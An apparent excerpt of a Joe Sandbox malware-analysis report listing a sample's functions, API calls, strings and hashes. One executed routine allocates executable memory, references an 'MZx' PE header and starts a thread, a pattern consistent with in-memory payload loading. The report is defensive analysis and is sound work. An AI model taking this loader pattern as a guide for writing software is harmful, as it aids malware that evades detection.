std::_Lockit::~_Lockit.LIBCPMT ref: 00F952B4
std::_Lockit::~_Lockit.LIBCPMT ref: 00F952E9
std::_Lockit::_Lockit.LIBCPMT ref: 00F95326
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F95377
std::_Facet_Register.LIBCPMT ref: 00F95396
std::_Lockit::~_Lockit.LIBCPMT ref: 00F953AF

Strings

bad locale name, xrefs: 00F953BE

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 3434717313-1405518554
Opcode ID: aa74d0ee7dcaa3fb6a480b6548a565c7cd742176cda5367151793a1079b6ee7d
Instruction ID: 8cc16c0245d3301a6ec6db4b600ffb0d5087de4f721b0cdae802dc2fff7a0058
Opcode Fuzzy Hash: aa74d0ee7dcaa3fb6a480b6548a565c7cd742176cda5367151793a1079b6ee7d
Instruction Fuzzy Hash: 3441E331A043409FEB15DF68D844B9AB7E0FF90B60F14045DF98897341D779E909EBA2

Function 00FB9C80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00FB9CCD

Part of subcall function 00F9A7F2: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 00F9A7FE
Part of subcall function 00F9A7F2: GetExitCodeThread.KERNEL32(?,?), ref: 00F9A817
Part of subcall function 00F9A7F2: CloseHandle.KERNEL32(?), ref: 00F9A829

std::_Throw_Cpp_error.LIBCPMT ref: 00FB9D0B
std::_Throw_Cpp_error.LIBCPMT ref: 00FB9D12
std::_Throw_Cpp_error.LIBCPMT ref: 00FB9D19
std::_Throw_Cpp_error.LIBCPMT ref: 00FB9D20
GetThreadId.KERNEL32(00000000,C488A511), ref: 00FB9D5D

Strings

Success created., xrefs: 00FB9C83
Success destroyed., xrefs: 00FB9D81

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CloseCodeCurrentExitHandleObjectSingleWait
String ID: Success created.$Success destroyed.
API String ID: 2210105531-4203135720
Opcode ID: bd5d1d336db9476cda21a46c9fc3f796153d960b0ddd62954b1738286aa63062
Instruction ID: 6f49cb0195e1b6b26da4dd666ddaa30ceb52f0c9ff039f0c6927ea37e3535cb8
Opcode Fuzzy Hash: bd5d1d336db9476cda21a46c9fc3f796153d960b0ddd62954b1738286aa63062
Instruction Fuzzy Hash: 9231EAB1A487026BFB207B658C03F9A77A4EB05B51F100529FA54E61C2E7B99414EBD2

Function 00FA8BAF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,C488A511,?,00FA8CBC,?,?,?,00000000), ref: 00FA8C70

Strings

ext-ms-, xrefs: 00FA8C1A
api-ms-, xrefs: 00FA8C06

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 60c64cfaebc41966087d026b01109d4fdaaf9370cbd3e8b33922f961ed66fa34
Instruction ID: ba43a08fcf585da65e23e5552ced7aaac0c0b0ee8e57b7214f85ba733a1b1239
Opcode Fuzzy Hash: 60c64cfaebc41966087d026b01109d4fdaaf9370cbd3e8b33922f961ed66fa34
Instruction Fuzzy Hash: 2221D8F2E02214A7CB259B20DC94A5A3768EF537F0F150110E915A7281EFB4ED02EEF1

Function 00FB9B20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
memorysynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,?,?,?,?), ref: 00FB9BB8
GetUpdateRgn.USER32(00000000,00000000,00000000), ref: 00FB9BC9
CreateThread.KERNELBASE(00000000,00000000,00FB9B20,00000000,00000000,00000000), ref: 00FB9C5F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?), ref: 00FB9C68

Strings

MZx, xrefs: 00FB9BF3, 00FB9BF8

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: AllocCreateObjectSingleThreadUpdateVirtualWait
String ID: MZx
API String ID: 1268193855-2575928145
Opcode ID: 19390cc308b887893dfb4f1445aac32581da66f9edd90f356ad079c6efed2136
Instruction ID: 731ada90f16ed52e79339c8c22220ba2829963f309df6c9f6b650680fffff763
Opcode Fuzzy Hash: 19390cc308b887893dfb4f1445aac32581da66f9edd90f356ad079c6efed2136
Instruction Fuzzy Hash: D231FB71E042086BE704EF69ED86BEDB7B1BF45310F104219FD00AB382EB746A55EB95

Function 00F9F7DC Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0000F680,00000000,?,?), ref: 00F9F825
GetLastError.KERNEL32 ref: 00F9F831
__dosmaperr.LIBCMT ref: 00F9F838

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: a2eb29c817c913f412fa0a72b567889989e483abd0dc43232f1bd59a2aff0941
Instruction ID: 646236686f5e63853953f17f465ab783e7fedd1abe2239a1debcc1e7572632ee
Opcode Fuzzy Hash: a2eb29c817c913f412fa0a72b567889989e483abd0dc43232f1bd59a2aff0941
Instruction Fuzzy Hash: A1019A72A00209AFEF15AFA5DC06AEE3BA4EF00360F100168F801D2160DB74CA58FBA1

Function 00F9F680 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00FC3A10,0000000C), ref: 00F9F693
ExitThread.KERNEL32 ref: 00F9F69A

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 5d6162e80cf493b5ccea9f558cd44a4b903374c325448af4c39d9b01b0e0a892
Instruction ID: 2cba8e65d0c7ce63b4299c1f3c6db9c33c1142f9f0a9b8335ee4841977e53d3d
Opcode Fuzzy Hash: 5d6162e80cf493b5ccea9f558cd44a4b903374c325448af4c39d9b01b0e0a892
Instruction Fuzzy Hash: 78F0AFB1900205AFEF00BF70DC4AA6E3B64EF01750F200169F00597262DB78A904FFA1

Function 00FA8C7A Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1dd1868dc30c8a32aebd1915947d37c3dd4374d7a0d530d66a94217fdaafe6c
Instruction ID: 5ec8c886886d8f0341279241eefc37fa1d127b407d1b071c451f06153aa39db8
Opcode Fuzzy Hash: d1dd1868dc30c8a32aebd1915947d37c3dd4374d7a0d530d66a94217fdaafe6c
Instruction Fuzzy Hash: CE0168B3B11226AFAF158E2DEC41A5B3396FBC27B07244120F901DB144DF34DC42ABA0

Function 00FA9B87 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00FAFFAD,?,?,00FAFFAD,00000220,?,00000010,?), ref: 00FA9BB9

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7c8f002b9e5eb13347f136fe414404d5c56a651136292579b251758b8979881e
Instruction ID: ea0669cb9f868a07856a5258158cadd7f9121fa905438440a368b1a1fd04a3fe
Opcode Fuzzy Hash: 7c8f002b9e5eb13347f136fe414404d5c56a651136292579b251758b8979881e
Instruction Fuzzy Hash: BAE0E5B560C2216ADB212635AC04B6B3658AF833F0F044130AC08A20C4DFE4CD00B5F0

Non-executed Functions

Function 00FB36B5 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FB3899

Strings

1#INF, xrefs: 00FB37EB
1#IND, xrefs: 00FB37BA
1#SNAN, xrefs: 00FB37C1
1#QNAN, xrefs: 00FB37C8

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7750a126deaa4817b63143362798e1abaf49e095c7c764f09e5f4d641d80d353
Instruction ID: 2fdb052dbbec90171f10505251999bcb98ba7fb8324c51f2fcda3ade57b7f963
Opcode Fuzzy Hash: 7750a126deaa4817b63143362798e1abaf49e095c7c764f09e5f4d641d80d353
Instruction Fuzzy Hash: 99D23B72E082288FDB25CF29CD407EAB7B5EB45315F1441EAD44DE7241EB38AE85AF41

Function 00FB2A0F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00FB2D2D,00000002,00000000,?,?,?,00FB2D2D,?,00000000), ref: 00FB2AA8
GetLocaleInfoW.KERNEL32(?,20001004,00FB2D2D,00000002,00000000,?,?,?,00FB2D2D,?,00000000), ref: 00FB2AD1
GetACP.KERNEL32(?,?,00FB2D2D,?,00000000), ref: 00FB2AE6

Strings

ACP, xrefs: 00FB2A2D
OCP, xrefs: 00FB2A63

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 1c9092241557a4684400c7b28a3ce499a48082a91ff46edb4c185552bacf1163
Instruction ID: d39b77e2cf6cb25e6f6c73b12a6bd9bc9a432c1e448c4ec70327f427d3d8b55d
Opcode Fuzzy Hash: 1c9092241557a4684400c7b28a3ce499a48082a91ff46edb4c185552bacf1163
Instruction Fuzzy Hash: CE217122B00105AADBB49F1ACD01BE772AEEB54B74B668524E90AD7101E736DE41EF50

Function 00FB2BE4 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00FB2CF0
IsValidCodePage.KERNEL32(00000000), ref: 00FB2D39
IsValidLocale.KERNEL32(?,00000001), ref: 00FB2D48
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00FB2D90
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00FB2DAF

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: e781e83061566bc1c5d3bb3aa67d6b46007cfd9a8c62217f8d5ffc26f4e05a6f
Instruction ID: 484a0ed85fecac87798bfcdf76965ce6a224bb28ebedb54c7e553fd4b5e369ba
Opcode Fuzzy Hash: e781e83061566bc1c5d3bb3aa67d6b46007cfd9a8c62217f8d5ffc26f4e05a6f
Instruction Fuzzy Hash: B25173B1E00209ABDF60DFA6CC81AFE77B8FF08720F144529E911E7150EB749A44AF61

Function 00FB2280 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetACP.KERNEL32(?,?,?,?,?,?,00FA730D,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00FB2341
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00FA730D,?,?,?,00000055,?,-00000050,?,?), ref: 00FB236C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00FB24CF

Strings

utf8, xrefs: 00FB243E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: a7707036961309ba5e98b1a1d154c4cdb463e266eb20f54e84e6fdfca0454c50
Instruction ID: fa8df33a5cae6973747ffe3161e8894788f0ca30a4e0032e81eae777499df681
Opcode Fuzzy Hash: a7707036961309ba5e98b1a1d154c4cdb463e266eb20f54e84e6fdfca0454c50
Instruction Fuzzy Hash: 14712671E00206AADB65EB76CC42BFA73A8FF09710F144069F505DB582EB78E941AF51

Function 00FA9D96 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FA9E23

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: adabab75f0cd4e4127e2d25f40a6035a1c11768978d09e5fd8cbb18de81cc5b4
Instruction ID: bc251a59000977815b54a35a495a1ea30ed25c171fdabf41833c84938e5c4fce
Opcode Fuzzy Hash: adabab75f0cd4e4127e2d25f40a6035a1c11768978d09e5fd8cbb18de81cc5b4
Instruction Fuzzy Hash: 11B159B2D082459FDB11CF28C8817FEBBA5EF5A350F148169E805EB242D3799D05EBA1

Function 00FAF7AE Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00FAF89E
FindNextFileW.KERNEL32(00000000,?), ref: 00FAF992
FindClose.KERNEL32(00000000), ref: 00FAF9D1
FindClose.KERNEL32(00000000), ref: 00FAFA04

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 2b3e591501dd76e28071b621c3594e194976e4c7fe59dbefd8fa907a6c54e46f
Instruction ID: 18615984a08eda29e44afc5cddf2b0fac4ff99e2c7bda5668b05de50724c3cdb
Opcode Fuzzy Hash: 2b3e591501dd76e28071b621c3594e194976e4c7fe59dbefd8fa907a6c54e46f
Instruction Fuzzy Hash: 2071F6B1D0515D6FDF209F78CC89AFAB7B9AF0A310F1441E9E0489B211DB355E89AF10

Function 00F9B69A Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00F9B6A6
IsDebuggerPresent.KERNEL32 ref: 00F9B772
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F9B78B
UnhandledExceptionFilter.KERNEL32(?), ref: 00F9B795

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7c96afb0b454ae153973abce54f8a90ca7cad51d264bda6d85523d0872e9a395
Instruction ID: b6c21d5ac3b23215f56308345818cef5e96d0f14ac1e2fca20ee584f12cfc5fb
Opcode Fuzzy Hash: 7c96afb0b454ae153973abce54f8a90ca7cad51d264bda6d85523d0872e9a395
Instruction Fuzzy Hash: E431F775D0521C9BEF21EFA4DD897CDBBB8AF08300F1041EAE50CAB250EB759A859F45

Function 00FB2693 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FB26E7
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FB2731
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FB27F7

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 57294488dfd57fb5c52ca2afb96eaf3fedca7a21a47c168dbf9f4e3d8fdda584
Instruction ID: f34ef884b4c0e0a5643f03be87aafc414dd6b33e2cad51ea7135acb7838c1d6b
Opcode Fuzzy Hash: 57294488dfd57fb5c52ca2afb96eaf3fedca7a21a47c168dbf9f4e3d8fdda584
Instruction Fuzzy Hash: 6B6193719101079FEBA89F2ACC82BFA73A8EF04711F10417AED05C6585EB38D985EF50

Function 00FA2C23 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000010), ref: 00FA2D1B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000010), ref: 00FA2D25
UnhandledExceptionFilter.KERNEL32(00FC3748,?,?,?,?,?,00000010), ref: 00FA2D32

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 350d8202316b94f277846cec224d5f66004e526a744c31b78a9f06c31f94faa9
Instruction ID: 8c970780bee929cce8fd7ca094d8db1839ef057002df4ca7e2316eab17aa769c
Opcode Fuzzy Hash: 350d8202316b94f277846cec224d5f66004e526a744c31b78a9f06c31f94faa9
Instruction Fuzzy Hash: FF31D4B490121C9BCB21DF68DD89B8CBBB8BF08310F5042EAE41CA7261E7749B859F45

Function 00FA5570 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fec831842d4b3e083d0d5fc355441d8007b4a970f2afc1f871a5a5b277875a26
Instruction ID: 376e81993d3489247be6a591459dcca464534e5bad14658c3132259232cadd2b
Opcode Fuzzy Hash: fec831842d4b3e083d0d5fc355441d8007b4a970f2afc1f871a5a5b277875a26
Instruction Fuzzy Hash: 5CF14FB1E01619DFDF14CFA9C8806AEB7B1FF89724F158269E819AB380D7349D05DB90

Function 00F92880 Relevance: 3.0, Strings: 2, Instructions: 463COMMON

Download Yara Rule

Strings

%, xrefs: 00F92D21
+, xrefs: 00F92D30

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
